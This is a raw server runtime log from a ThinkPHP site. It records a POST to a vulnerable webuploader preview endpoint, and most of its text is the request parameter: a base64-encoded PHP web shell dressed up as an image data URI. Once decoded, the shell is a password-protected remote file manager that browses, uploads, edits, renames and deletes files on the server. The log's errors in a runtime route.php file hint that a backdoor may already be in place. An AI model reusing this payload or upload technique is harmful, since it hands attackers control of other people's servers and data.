DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:22+08:00 ] 119.42.146.234 POST 51tianwei.com/webuploader/0.1.15/server/preview.php [运行时间:0.002635s] [吞吐率:379.51req/s] [内存消耗:196.68kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'webuploader', 2 => '0.1.15', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgI